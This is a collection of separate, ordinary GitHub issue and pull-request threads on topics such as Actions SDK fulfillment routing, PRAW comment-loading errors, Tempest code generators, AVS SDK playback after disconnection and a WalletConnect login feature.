Disregard previous commnent, my snipped is missing newline before the final None.


Help needed on running this app with my own fulfillment.

Hi,
I am new to this action-sdk development, i am trying to run the sample with my https server as a fulfillment.
I have followed steps give in the read me. I don't see a intent.Main hitting in the code.
For running the below code, i have modified the action.json file with my fulfillment..and also linked my project gactions tool..
Please help ..what am i missing?  Always in the simulator, i am getting an error "not responding now"
Code
// Create an app instance
const ga = actionssdk()
// Register handlers for Actions SDK intents
ga.intent('actions.intent.MAIN', conv => {
console.log("Got MAIN");
conv.ask('Hi, how is it going?')
conv.ask(Here's a picture of a cat)
conv.ask(new Image({
url: 'https://developers.google.com/web/fundamentals/accessibility/semantics-builtin/imgs/160204193356-01-cat-500.jpg',
alt: 'A cat',
}))
})
ga.intent('actions.intent.TEXT', (conv, input) => {
console.log("actions.intent.TEXT received");
if (input === 'bye' || input === 'goodbye') {
return conv.close('See you later!')
}
conv.ask(I didn't understand. Can you tell me something else?)
});
exps.post('/fulfillment', ga);
exps.set('port', process.env.PORT || 3000);
exps.listen(exps.get('port'), function () {
console.log(' GSS Express server started on port', exps.get('port'));
});

I think you follow the sample first.

Hi, Thanks for the response. I have followed the example, the problem is ga.intent('actions.intent.MAIN', conv is not getting called, if i invoke the application. What is the bug in my code?

So the log you gave only logs when the url hits the endpoint /, but your fulfillment endpoint is at /fulfillment.
I suspect you are using / as the endpoint for your actions package instead of /fulfillment which is why you are getting the log but not getting a response.

Thanks for the response...do I need to mention the /fulfillment in .JSON
file for both welcome and rawinput conversations? Or is there any changes
needed in is file?
On Thu, 4 Oct 2018, 02:27 Shuyang Chen<EMAIL_ADDRESS>wrote:

So the log you gave only logs when the url hits the endpoint /, but your
fulfillment endpoint is at /fulfillment.
I suspect you are using / as the endpoint for your actions package
instead of /fulfillment which is why you are getting the log but not
getting a response.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/actions-on-google/actions-on-google-nodejs/issues/229#issuecomment-426798927,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Ad-rXyHQApmy0cPkkTNiVbb89vbjWm4nks5uhSSggaJpZM4XB9uy
.


Allow unstable for renovate

Codecov Report

Merging #44 (ee1bc57) into main (4044b0e) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main      #44   +/-   ##
=======================================
  Coverage   32.15%   32.15%
=======================================
  Files          18       18
  Lines         650      650
  Branches       90       90
=======================================
  Hits          209      209
  Misses        430      430
  Partials       11       11

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4044b0e...ee1bc57. Read the comment docs.


[GEP-13] Reconcile managed seeds on external changes to seeds and seed secrets

How to categorize this PR?
/area control-plane
/kind enhancement
What this PR does / why we need it:
Introduces a mechanism for enqueueing managed seeds for reconciliation whenever external changes to controlled seeds and seed secrets are detected.
Which issue(s) this PR fixes:
Fixes #
Special notes for your reviewer:

A checksum on the so called "model" (includes only the parts of the resource that might be changed externally) is calculated and added it as an annotation when creating / updating that resource. Upon an event, the model is checked against the checksum and if there is a difference, the MS is enqueued for reconciliation.
At the moment this has no effect on seeds created by the gardenlet. The gardenlet code adds the checksum and the MS is enqueued correctly, the MS controller redeploys gardenlet but the seed is not updated since gardenlet is not restarted, because the deployment generated by the chart is exactly the same as before. I have some ideas how I could deal with that but I would like to discuss them first.

Release note:
NONE

/rebase

/assign @timebertt

After a discussion with @timebertt we decided to not merge this PR. The reasons:

It introduces some (albeit modest) additional complexity for calculating models and model checksums. It's not clear whether the value added is really justified. Seeds / seed secrets are not in danger to be modified by end users, so inadvertent changes by operators or other controllers is the most this PR could protect against.
We couldn't think of a good mechanism to properly update back seeds created by gardenlet (see the second bullet in the PR description) without introducing not one, but 2 gardenlet restarts for each external change, which seems excessive.
There is now a sync period for managed seeds (defaults to 1 hour), so at most after this sync period the seed / seed secrets will be reconciled to their desired state even without this mechanism.


Make TokenWithRefunds Production-Ready

Partial notes were used to make private refunds possible.
In short, private refunds allow Alice to fund an arbitrary transaction (possibly with public functions) using an arbitrary private token via a fee payment contract, and get her refund as private token notes.
Without this flow, Alice must fund her transactions either:

natively with AZT herself
using public balances and an FPC
using private balances but forgoing a refund

Partial notes generally support patterns where we need to construct a note that is dependent on on-chain data sources that are not available in private.
Example sources are:

price feeds
prevailing interest rates
weather data from IoT sensors
time

Applications could include:

start a point $(\text{owner} + \text{principle})*G$, complete it with the prevailing interest rate to construct a note representing a loan.
submit a claim on your farm insurance based on regional flooding data.
private discounts/deals based on time of day
lock some private assets as a point, cash them out privately with interest based on the amount of time they were locked up.
a dex where the liquidity is in public but rewards/swaps occur with notes

So the use cases are compelling, but there are problems with the current implementation. This issue tracks work to make the concept ready for production.
### Tasks
- [ ] https://github.com/AztecProtocol/aztec-packages/issues/7325
- [ ] https://github.com/AztecProtocol/aztec-packages/issues/7323
- [ ] https://github.com/AztecProtocol/aztec-packages/issues/7320
- [ ] https://github.com/AztecProtocol/aztec-packages/issues/7321
- [ ] https://github.com/AztecProtocol/aztec-packages/issues/7322
- [ ] https://github.com/AztecProtocol/aztec-packages/issues/7324
- [ ] https://github.com/AztecProtocol/aztec-packages/issues/7326
- [ ] https://github.com/AztecProtocol/aztec-packages/issues/7650
- [ ] https://github.com/AztecProtocol/aztec-packages/issues/7688

Closing this now as https://github.com/AztecProtocol/aztec-packages/issues/7650 is not planned to be tackled in the near future and everything else in this issue done.


Merge downstream

Contains small tweaks made downstream over the last few weeks
/deploy still needs doing

Codecov Report

Merging #4369 into master will increase coverage by 0.64%.
The diff coverage is 65.94%.

@@            Coverage Diff             @@
##           master    #4369      +/-   ##
==========================================
+ Coverage   57.86%   58.50%   +0.64%
==========================================
  Files         901      922      +21
  Lines       28912    30036    +1124
  Branches     4090     4353     +263
==========================================
+ Hits        16731    17574     +843
- Misses      12181    12462     +281


Feature Suggestion：support offline documentation

Sometimes the network is not good or no network ,
open offline documentation is faster than online.
Local path of document（mac）:
file:///Applications/Unity/Documentation/en/ScriptReference/index.html
Thank! :)

Could do by adding a custom setting and defining a local path to local documentation. Good future feature idea!

Added in 1.2


firehol 3.1.5: package doesn't include firehol program by default

The firehol derivation has a parameter onlyQOS ? true.
So by default, the firehol package only includes fireqos (traffic shaping tool) but not firehol (firewall).
This is not really what a user expects from a package called "firehol".
I propose changing the default to onlyQOS ? false (or eliminate the parameter altogether) to make the firehol program available without override. No significant impact on build time or storage, just  few extra files.
/cc maintainer: @geistesk

While writing this package I was only interested in fireqos and added this parameter to keep the package smaller. Setting it to true by default seems to be a bad decision. Changing it to false seems fine for me.
Please excuse my late response.

Thank you  for your reply. So let's change the default to false. I will add this change to my open pull request #35121.


[Feature Request]: make: commands

A code generator that takes into account the user's preferences. One concrete example is make:migration, see discussion at https://github.com/tempestphp/tempest-framework/pull/464

Something to think about, a good way to generate classes where we actually want them. It's a hard problem to tackle; Laravel does it wrong in my opinion (tried to work around it here), but I'm sure Tempest could have a clean way of handling that.

I think @wulfheart is on to something with nette/php-generator. I've used it in the past and it's a joy to use.

I agree, especially with how Tempest doesn't require you to follow a fixed structure, it's a feature that shouldn't be taken lightly. I'm a total noob with code generation, so I appreciate all the input people can give. Let's actually widen the scope of this issue and use it as a starting point for a proper code generator.

One time I built a code generator using nette/php-generator to create an API client for 280 endpoints after some guy on the internet who now tells me he's a noob with code generation that it would probably be the best approach.

Hi there 👋
To be sure to understand everything.
Now we have a tempest/generation package that helps generate php code easily from the ClassManipulator class.
Then is the vision for the future is to take an opinion about a way to give users access to something like an attribute #[AsGeneratorCommand] with some parameters to use the ClassManipulator under the hood ?
We could also have some basic generator class in the CLI to build classes like Commands, Controllers, Models, Views and so on based on stub files which can be overriden.
Then it will be easier to let user create its own generation command based on custom stub files aswell.

@gturpin-dev I see it that way:

If possible, have a high-level #[GeneratorCommand] that makes it super easy to create a generator command—the underlying method could return a ClassManipulator or ClassGenerator instance

Have some kind of lower-level tool (abstract class?) for more advanced use cases

Have built-in make: commands for classes, models, controllers, migration files, and everything that could make sense in Tempest

Ideally, the make: commands would behave just like tempest publish (as of #513) and would prompt the path to the file, defaulting to their main namespace.

I totally agree with all of this.
Thinking about how to implement a first step of #[GeneratorConsoleCommand] because at the moment a classic command can be made on a class method itself.
Maybe we can stick as close as possible with that giving all Attributes parameters of the #[ConsoleCommand] to customize the command and an additional parameter "replacements" which can be an array of slug to replace in the stub file as array keys and the replacements as values, but I think we must find another approach because the replacements values will mostly comes from the user inputs.
Then should we force the return type of the methods ? Like the actual ExitCode for classic commands.
Same questions for other params like path to the stub file, output file path and maybe others.
As an alternative we could use this Attribute only for classes but I think it's too far away from the Tempest philosophy.
Another question, should we rely on some third-party packages to handle replacements ?
Same goes for the file handling, or may we use the internal Filesystem ?

@innocenzi I must complete my above questions, I dig deeper into nette's package and I think it can give us all we need to copy stubs, or manipulate classes ( or other types ) as you mention.
I think we can start with some file_get_contents but progressively use the internal filesystem component.

Just throwing something different in the mix for inspiration: how PlopJS is helping with JS code generation in my frontend projects is something I really appreciate.
https://plopjs.com/

Thanks @Jeroen-G for inspiration, it's really interesting.
It could help a lot if you can share some various real use cases you have with PlopJs.
We can imagine a method tagged with a #[GeneratorCommand] should return something like a FileGenerator instance which can have some arguments like a list of prompts and actions as in PlopJs.
This class generator could even be a Fluent Interface to help build prompts and actions faster.
Still thinking about all of this.
I think the easiest way to start is to make the commands for builtins features, I will try some things about it.

I kinda like this approach, for userland to write their own make commands 👀

I like it too in some ways. Thanks @Jeroen-G
@innocenzi Is the fact of having an Abstract/Trait to help users to make their own generator commands a bad thing for Tempest rather than an attribute ?
I personnally don't find a way of getting all utilities/flexibility ( like closures ) using attributes.
I think we must go with an abstract/trait to achieve this.
Then @innocenzi do you think we should go with an interface/trait combo or an abstract class to be consistent with the rest of the framework ?

AFAIK the framework largely works with interface/trait, not abstract classes (e.g. the DB models)

Correct, see https://www.youtube.com/watch?v=HK9W5A-Doxc for more info :)

Yes, I saw the video yesterday !
And yes all the components I can see in the docs works like this and it's totally fine ( like the explanations in the video )

Hey, to validate a MVP of the GeneratorCommand I firstly tried to create a make:controller command which will generate a Controller based on user inputs and stored in user project.
I actually run into some questions here :
I've created a ControllerStub.php file to store the stub class as it will be easier to get from the ClassManipulator.
So I've used the ClassManipulator to update the namespace and the classname ( new method ) and then put the file into a hardcoded folder for now.
The interesting thing is the use statements have been altered during the process.
To show you, here's my actual stubfile :
<?php

declare(strict_types=1);

namespace Tempest\Console\Stubs;

use Tempest\Http\Get;
use Tempest\View\View;

use function Tempest\view;

final class ControllerStub
{
    #[Get(uri: '/welcome')]
    public function __invoke(): View
    {
        return view('welcome');
    }
}

And here's the updated code :
<?php

namespace App\Controllers;

use Tempest\View\View as View1;
use Tempest\view;

final class WelcomeController
{
    #[\Tempest\Http\Get(uri: '/welcome')]
    public function __invoke(): View1
    {
        return \Tempest\view('welcome');
    }
}

So as you can see, the use function seems to be misunderstood from the nette/generator, also it don't like the view function and the View class as return type so he added an alias.
If anyone have some explanations on it, I would appreciate.
My testing code is the following :
$classManipulator = (new ClassManipulator(ControllerStub::class))
    ->updateNamespace('App\\Controllers')
    ->updateClassName('WelcomeController');

file_put_contents(
    'src/WelcomeController.php',
    $classManipulator->print()
);

Then, the following points I'm looking for is the ability of the str() helper ( or another component ? ) to help manipulate path strings, CamelCase, snake_case etc
Also, I know the Filesystem is in WIP atm so I don't know if we should use it later for example to recursively create the path and the file from the user input ( eg make:controller Controllers/WelcomeController will generate a project_path/Controllers/WelcomeController.php without errors or additional questions )
Lastly, I wonder about how to get the main autoloaded namespace from the user, I know how to parse a composer.json, but i've seen that it's already done by the discovery process and I wonder if we can have this information without additional work or no 🤷♂

I'll continue to work on this in the followings days, but if someone have responses about my thoughts, please let me know !
--
I will extract logic later when I started to be more confident with the first working internal generator
I'm really in early stage of digging atm

@gturpin-dev I fixed most of the issues in https://github.com/tempestphp/tempest-framework/pull/544, let me know if you are looking for something else.

@gturpin-dev
Lastly, I wonder about how to get the main autoloaded namespace from the user, I know how to parse a composer.json, but i've seen that it's already done by the discovery process and I wonder if we can have this information without additional work or no

Not sure what you want to do but the \Tempest\Core\Composer class might help you


Compilation errors with Unity5

There are compilation errors thrown when trying to compile under Unity5.

i do compiled in Unity5.0.1.Can you get more details?


Assertion Error while filling in a MoreComments object.

Sorry this post is so long. I'm trying to give all the detail I have.
I am currently helping a user collect comments on a sizeable thread (3,231 comments) using a custom method to replace MoreComments objects. One of them is producing an Assertion Error, and I can't figure out why.
Here is the thread: http://redd.it/2y8jyo
I have modified objects.py to give me some more information about the object causing the error, like this:
def _continue_comments(self, update):
    print(self.name, self.parent_id, self.count, self.children)
    assert len(self.children) > 0

And here is the output:
Got 1 more, 2514 so far.
Got 0 more, 2514 so far.
t1_cp7ocrw t1_cp7o7ej 0 ['cp7ocrw', 'cp7phio']
Got 2 more, 2516 so far.
t1_cp7ro20 t1_cp7qqi2 0 ['cp7ro20']
Got 1 more, 2517 so far.
t1_cp7k5gi t1_cp7g40r 0 ['cp7k5gi']
Got 2 more, 2519 so far.
t1__ t1_cp7ggng 0 []
Traceback (most recent call last):
  File "commentaugment.py", line 76, in a
    result = function(*args, **kwargs)
  File "C:\Python34\lib\site-packages\praw\objects.py", line 706, in comments
    return self._continue_comments(update)
  File "C:\Python34\lib\site-packages\praw\objects.py", line 687, in _continue_comments
    assert len(self.children) > 0
AssertionError

As you can see, the one giving the error seems to have no fullname, and two underscores. The parent_id points to this comment, which has 1 child by /u/dalagrath even though it printed "0, []". I'm trying to check each step of the reply chain and figure out where this MoreComments object comes into play, but I'm getting really lost. This is as close as I got to matching the console by permalinking here, but nothing looks strange in the browser.
I see that you had a different Assertion issue in January but it looks unrelated. I'm not sure if my code is relevant, but here it is.
Personally I'm content with try-catching the AssertionError and ignoring it, but I wanted to bring this up. Please let me know if there's any way I can help to solve it. Thank you!

Unfortunately, I don't really have time to help out. Also, _continue_comments is a private method, so it's not really supported. Does the same behavior occur with the built-in replace_more_comments on the master branch? If so then it's a bug that needs to be handled.
If it is present in replace_more_comments it would be ideal if you could find the exact request made (url + request body) so that I can verify the response. The assertion is only there because the code works under the assumption that those assertions pass. When they don't could result in odd behavior.

Well, I was using mc.comments() rather than the internal _continue_comments directly, but I know what you mean about supporting uncommon uses.
I did the normal replace_more_comments and found this pretty interesting:
>>> a=r.get_info(thing_id='t3_2y8jyo')
>>> b=a.replace_more_comments(limit=None, threshold=0)
>>> b
[<praw.objects.MoreComments object at 0x03F28250>, <praw.objects.MoreComments object at 0x043A3E50>, <praw.objects.MoreComments object at 0x03DF88D0>]
>>> b[0].parent_id
't1_cp7selb'
>>> b[1].parent_id
't1_cp7ggng'
>>> b[2].parent_id
't1_cp7xftp'

Item b[1] is the one that caused the problem in the post. Since praw ignored these three items, I guess there's no harm in doing that on my custom function. Getting 100% of all comments isn't critical, but I wasn't sure if this issue would cause problems in other cases.
I added a print statement to internal._prepare_request to see the url, params, and data, and this is what I got. Not sure if it's exactly what you're looking for:
# Passing "load x more" request
http://www.reddit.com/api/morechildren/.json None {'children': 'cp7n4kg', 'r': 'TwoXChromosomes','link_id': 't3_2y8jyo'}
Got 1 more, 2513 so far.

# Passing "continue this thread" request
t1_cp7k5gi t1_cp7g40r 0 ['cp7k5gi']
http://www.reddit.com/r/TwoXChromosomes/comments/2y8jyo/planet_fitness_cancels_womans_membership_after/cp7g40r.json {} None
Got 2 more, 2519 so far.

# Broken "continue this thread" request
t1__ t1_cp7xftp 0 []
Got 0 more, 2524 so far.

Like I said, it's nothing game-breaking, I just can't see the pattern that causes these ones to fail. So far I hadn't seen anything like this. Definitely consider it a minor issue.

Oh okay. Well mc.comments() should definitely work so thanks for clarifying. We'll keep this here. I would simply suggest skipping it and manually looking at the items in the "skipped" list. If you definitively see comments missing then it most certainly is a bug with replace_more_comments.

Closing due to inactivity. @voussoir have you seen this problem at all in PRAW4?

I have a similar problem when trying to get all comments and replies recursively. I used this code (copied from here) to go through all comments of a submission and store content in a dictionary:
def process_comments(objects):
    for object in objects:
        if type(object).__name__ == "Comment":
            process_comments(object.replies) # Get replies of comment

            comment_dic[object.id] = object.json_dict
            print(object.id)

        elif type(object).__name__ == "MoreComments":
            process_comments(object.comments()) # Get more comments at same level

This resulted in the following error:
AssertionError                            Traceback (most recent call last)
<ipython-input-107-c95ada5d073b> in <module>()
      1 comment_dic = {}
      2 for post in posts:
----> 3     process_comments(post.comments)

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      2     for object in objects:
      3         if type(object).__name__ == "Comment":
----> 4             process_comments(object.replies) # Get replies of comment
      5
      6             comment_dic[object.id] = object.json_dict

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      2     for object in objects:
      3         if type(object).__name__ == "Comment":
----> 4             process_comments(object.replies) # Get replies of comment
      5
      6             comment_dic[object.id] = object.json_dict

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      2     for object in objects:
      3         if type(object).__name__ == "Comment":
----> 4             process_comments(object.replies) # Get replies of comment
      5
      6             comment_dic[object.id] = object.json_dict

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      2     for object in objects:
      3         if type(object).__name__ == "Comment":
----> 4             process_comments(object.replies) # Get replies of comment
      5
      6             comment_dic[object.id] = object.json_dict

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      2     for object in objects:
      3         if type(object).__name__ == "Comment":
----> 4             process_comments(object.replies) # Get replies of comment
      5
      6             comment_dic[object.id] = object.json_dict

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      2     for object in objects:
      3         if type(object).__name__ == "Comment":
----> 4             process_comments(object.replies) # Get replies of comment
      5
      6             comment_dic[object.id] = object.json_dict

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      2     for object in objects:
      3         if type(object).__name__ == "Comment":
----> 4             process_comments(object.replies) # Get replies of comment
      5
      6             comment_dic[object.id] = object.json_dict

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      2     for object in objects:
      3         if type(object).__name__ == "Comment":
----> 4             process_comments(object.replies) # Get replies of comment
      5
      6             comment_dic[object.id] = object.json_dict

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      2     for object in objects:
      3         if type(object).__name__ == "Comment":
----> 4             process_comments(object.replies) # Get replies of comment
      5
      6             comment_dic[object.id] = object.json_dict

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      2     for object in objects:
      3         if type(object).__name__ == "Comment":
----> 4             process_comments(object.replies) # Get replies of comment
      5
      6             comment_dic[object.id] = object.json_dict

<ipython-input-106-1a09e8e46611> in process_comments(objects)
      9
     10         elif type(object).__name__ == "MoreComments":
---> 11             process_comments(object.comments()) # Get more comments at same level
     12

/usr/anaconda3/lib/python3.5/site-packages/praw/objects.py in comments(self, update)
    835         if not self._comments:
    836             if self.count == 0:  # Handle 'continue this thread' type
--> 837                 return self._continue_comments(update)
    838             # pylint: disable=W0212
    839             children = [x for x in self.children if 't1_{0}'.format(x)

/usr/anaconda3/lib/python3.5/site-packages/praw/objects.py in _continue_comments(self, update)
    816
    817     def _continue_comments(self, update):
--> 818         assert len(self.children) > 0
    819         tmp = self.reddit_session.get_submission(urljoin(
    820             self.submission.permalink, self.parent_id.split('_', 1)[1]))

AssertionError:

@methodds does this problem exist in PRAW4? If it does can you file a new issue? praw/objects.py indicates you're using PRAW<4. It's not likely this issue will be resolved in PRAW<4.

Thanks for the hint. I just checked and indeed have PRAW 3.6 installed. I will update, test again and file a issue in case it still appears.


Mix update & follow credo

Coverage increased (+0.1%) to 83.824% when pulling 668df1b449d8d414b1217dcab5427268b6effdfc on mix-update into a0ae3d4db5e7d27d86831a82c81618206df6ab0c on master.


Fix "should_instrument" decision when given negative testMatch pattern

Summary
Files that match with the testFiles configuration aren't instrumented for test coverage.
This check was being done with multimatch.any which behaves unexpectedly when given an inverse glob pattern (!**/dont/**/*.js).
Issue: https://github.com/facebook/jest/issues/7165
Reproduction: https://github.com/g-harel/jest-7165
Test plan

I've modified an existing test case to verify that the fix works.
I also linked my local fork to the reproduction project to confirm that the change had the intended effect.

@SimenB done :heavy_check_mark:


Feature/pagination actions

Checklist

[x] the contributor license agreement is signed
[x] commit message follows commit guidelines
[x] tests are included
[x] screenshots are included showing significant UI changes

Description of change

https://github.com/openequella/openEQUELLA/issues/1306
This PR adds in additional Paging options to the mui TablePagination component, allowing for navigating to the first and last page of search results

The Search page test is getting more and more test cases and mock data in. Almost all of tests are reliant on simulate which seems to be deprecated. So I am wondering we need to consider another approach...

The Search page test is getting more and more test cases and mock data in. Almost all of tests are reliant on simulate which seems to be deprecated. So I am wondering we need to consider another approach...

Yes. I think this test needs an overhaul in general. But in the interests of time we should revisit this in the future


Remove un-needed privelege escalation in shared labs role

Also minor typo fix for README
Signed-off-by: Sai Sindhur Malleni<EMAIL_ADDRESS>Description
Please include a summary of the change and which issue is fixed. Please also include relevant motivation and context. List any dependencies that are required for this change.
Fixes # (issue)
Type of change
Please select the appropiate options:

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Testing
Please describe the tests that you ran to verify your changes. Provide instructions so we can reproduce. Please also list any relevant details for your test configuration

[ ] Test A
[ ] Test B

Test Configuration:

Versions:
Hardware:

Checklist

[ ] I have performed a self-review of my own code
[ ] If a change is adding a feature, it should require a change to the README.md and the review should catch this.
[ ] If the change is a fix, it should have an issue. The review should make sure the comments state the issue (not just the number) and it should use the keywords that will close the issue on merge.
[ ] A change should not being merged unless it passes CI or there is a comment/update saying what testing was passed.
[ ] PRs should not be merged unless positively reviewed.

This privilege escalation is un-needed and the playbook works fine without this. Going to merge this if I don't get any more feedback.


A fragmentation strategy to generate shape indexes

This PR is a fragmentation strategy to generate a shape index file in each pod and a shape associated with each resource type define in a son file. The strategy is inspired by the FragmentationStrategySubject it gets the iri associated with the quad in the same way and generates the shape and index based on the iri.
A strategy to ignore certain quads has been added called FragmentationStrategyProbabilityQuadHandling. It's purpose for my use case is to simulate an environment where some containers doesn't provide shape information.
The strategy can be configure to work on triple or on resource type.
The PR include :

A new FragmentationStrategyShape strategy
A new FragmentationStrategyProbabilityQuadHandling strategy
Modification in the FragmentationStrategySubject to reuse the iri dispatch function
Small modification in the typescript compilation to avoid error in SolidBench
Information about the configuration of the strategy in the readme file

Future work:

Make the vocabulary for shape indexes more sound
Give the posibility of providing multiple shapes by resource and assign it randomly to a container
Create a pod with all the shapes so that shapes can easily refer to other shapes
Make the shape IRI relative to the pods

@constraintAutomaton Before I review, am I correct to assume that your PR does not require anything for @surilindur's PR (https://github.com/SolidBench/rdf-dataset-fragmenter.js/pull/18) ?

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 77 (100.0%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 100.0%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
712

Relevant Lines:
712

💛  - Coveralls

@constraintAutomaton Before I review, am I correct to assume that your PR does not require anything for @surilindur's PR (#18) ?

I'm pretty sure, we use the "same approach" but it doesn't depend on one another.

Ok good. @surilindur can you confirm? (so we're definitely aligned)

Yes, this is completely unrelated work. The reason I wanted to wait with the other PR was to see if @constraintAutomaton can implement his approach this way. If that would not have been possible, then the other PR should also probably have been split into another library because they do similar things.

The probabilistic generation has been moved into a new strategy. Maybe it should be in another component. Also it has two mode one by iri an another by resource type. Maybe this could be split into two strategies, if it should then maybe another directory of strategy wrapper could be created with those two strategies and the FragmentationStrategyException and the FragmentationStrategyComposite

I want to make the shape expression IRI instead of being a blank node has it is right now hence why I turned it into a draft. It should be done quickly (probably tomorrow).

I think I prefer finishing all my experiments before merging this.

I think the PR can be reviewed. A foreseen change would be to have shapes with "dynamic" constraint based on the fragmentation of the data (by date, by country, ect...). But I think it can be in another PR if need be for that feature.

I am making a new PR with the "same functionalities" to make this implementation more uniform with the other data summary methods and because of the previous major merge that changed a lot of things in the code base.


Change Favicon

Hey @Manvityagi , @abdus , @vaishali614   , I am Lavanya Narayanan, a GSSOC, 2021 participant. I want to make changes in favicon in the website. Can I work on this issue?

Sure.

, I am Shivansh Soni , a GSSOC, 2021 participant. I want to make changes in favicon in the website. Can I work on this issue?

@shivansh-soni07
Waiting for @lavanya243 to make a PR on this. If she doesn't make a PR by tomorrow night, I will assign it to you.


Can not resume music after internet disconnection.

IMPORTANT: Before you create an issue, please take a look at our Issue Reporting Guide.
Briefly summarize your issue:
Can not resume music after internet disconnection.
What is the expected behavior?
Can resume music normally after internet disconnection.
What behavior are you observing?
According to the certification document, we tried to test "Internet interruption - Media - Music" item.
(AVS_Smart_functional_self-test_checklist_v2.9.6.xlsm)
There are two issues.

When the song is finished playing and reconnect the device to the internet. Ask Alexa "Resume", Alexa will NOT do any thing.
Alexa only accepts "Play", then it will resume the song. However, the test step on the document is still "Resume".

When we say "Alexa, play." after reconnection, Alexa will NOT resume the song.
In this situation, it can stop ongoing interaction to recover.
After stoppoing ongoing interaction, we say "Alexa, play." and Alexa will resume the song.
This issue is probabilistic(about 10%).

This is the DEBUG9 log when reproducing this issue.
music_interruption.log
Provide the steps to reproduce the issue, if applicable:

Run device sdk v1.21.0 on RPi4.
Say ‘Alexa, play music’.
Disconnect the device from the internet and wait song finished.
Reconnect the device to the internet
Say ‘Alexa, play’.

Tell us about your environment:

What version of the AVS Device SDK are you using?
  AVS Device SDK: <1.21.0>

Tell us what hardware you're using:

[ ] Desktop / Laptop
[*] Raspberry Pi
[ ] Other - tell us more:

Tell us about your OS (Type & version):

[ ] Linux
[ ] MacOS
[*] Raspbian Stretch
[ ] Raspbian Jessy
[ ] Other - tell us more:

Hi @eytu0233,
When you are playing or resuming music, what music service provider are you using? Examples: iHeartRadio, Amazon Music, TuneIn, etc.
Have you seen this problem on previous versions of the SDK before?

 grep -rni -e "avsconnectionmanager:onconnectionstatuschanged" -e "audioinputprocessor:recognize" -e "audioplayer:prehandleplay" .
./music_interruption.log:96:2020-12-15 08:26:28.527 [  1] 5 AVSConnectionManager:onConnectionStatusChanged:connected=false,isEnabled=false
./music_interruption.log:687:2020-12-15 08:26:29.202 [ 1f] 0 AVSConnectionManager:onConnectionStatusChanged:status=PENDING,engine_count=1
./music_interruption.log:1343:2020-12-15 08:26:41.136 [ 10] 0 AVSConnectionManager:onConnectionStatusChanged:status=CONNECTED,engine_count=1
./music_interruption.log:1513:2020-12-15 08:26:42.992 [ 1c] 5 AudioInputProcessor:recognize
./music_interruption.log:5537:2020-12-15 08:26:47.656 [  b] 1 AudioPlayer:preHandlePlayDirective
./music_interruption.log:5542:2020-12-15 08:26:47.657 [  b] I AudioPlayer:preHandlePlayDirective:normalizationMode=OFF
./music_interruption.log:10327:2020-12-15 08:28:04.533 [  9] 0 AVSConnectionManager:onConnectionStatusChanged:status=PENDING,engine_count=1
./music_interruption.log:13890:2020-12-15 08:29:26.965 [ 1d] 0 AVSConnectionManager:onConnectionStatusChanged:status=CONNECTED,engine_count=1
./music_interruption.log:14432:2020-12-15 08:29:39.419 [ 1c] 5 AudioInputProcessor:recognize
./music_interruption.log:17121:2020-12-15 08:29:48.598 [ 1c] 5 AudioInputProcessor:recognize
./music_interruption.log:20875:2020-12-15 08:30:04.524 [ 1c] 5 AudioInputProcessor:recognize
./music_interruption.log:24213:2020-12-15 08:30:08.361 [  b] 1 AudioPlayer:preHandlePlayDirective
./music_interruption.log:24218:2020-12-15 08:30:08.361 [  b] I AudioPlayer:preHandlePlayDirective:normalizationMode=OFF
./music_interruption.log:27099:2020-12-15 08:30:23.523 [  a] 0 AVSConnectionManager:onConnectionStatusChanged:status=DISCONNECTED,engine_count=1

Regarding problem #2,I see that there are three recognize calls after the connection is re-established. However, you can see that only the last recognize call resulted in a Play directive being received. I confirmed this with the cloud side logs and it looks like the recognize at 08:29:39.419 and 08:29:48.598 did not result in any directives. Since you mentioned this happens intermittently (10%), my guess is that this is due to the audio not being interpreted by the cloud. Please ensure that there are no background noises and that the mic is picking up the utterances clearly. You can check your utterances by following these steps: https://www.amazon.com/gp/help/customer/display.html?nodeId=GHXNJNLTRWCTBBGW.
Regarding problem #1, if this is blocking certification for you, can you also attach DEBUG9 logs? This sounds like a mismatch between certification requirements and the Alexa cloud.

Hi @kjkh,
This DEBUG9 log is for problem 1.
music_interruption_resume.log
We reproduced this issue by following steps.

Alexa, play music on Amazon music.
Disconnect the internet after music play.
Reconnect the itnernet after music stop.
Alexa, resume.
Alexa, resume.
Alexa, play.

Step 4. 5. and 6. are all no reaction.
According to the cloud, the 5. and 6. are both recognized correctly.
You can reference this picture.

Thanks

Hi @eytu0233, in step 4, 5, or 6, instead of just saying resume/play, do you get music playback if you say something like "Alexa, play music on Amazon music."?

Hi @kclchan,
Yes, it does playback a new music after "Alexa, play music" when step 4, 5 or 6.

Hi @kclchan,
Yes, it does playback a new music after "Alexa, play music" when step 4, 5 or 6.

@kclchan,
Could you reproduce this issue?

@kclchan,
Could you reproduce this issue?

Hello @eytu0233 and @yuan0258,
Are you still experiencing this issue? Are you able to reproduce this on the latest SDK version?

Closing due to inactivity. If further assistance is required, please reopen a new ticket with reference to this one.


Add wallet connect

Description
Adds WalletConnect as a login type, allowing these Wallets to directly connect to Augur.
Testing

On a phone, go to test.walletconnect.org.
Select Kovan or your current network.
Select Connect to WalletConnect.
When the QR code appears, select Scan on the WalletConnect test account.

TODO

[ ] Get WalletConnect Icon
[ ] Figure out getSigners missing function on provider. This fails when creating the account object.
[ ] Correctly cleanup. After logging out, you cannot log into a different login type.

DOD

[ ] Assert users can log in using WalletConnect.
[ ] Assert users can log out using WalletConnect.
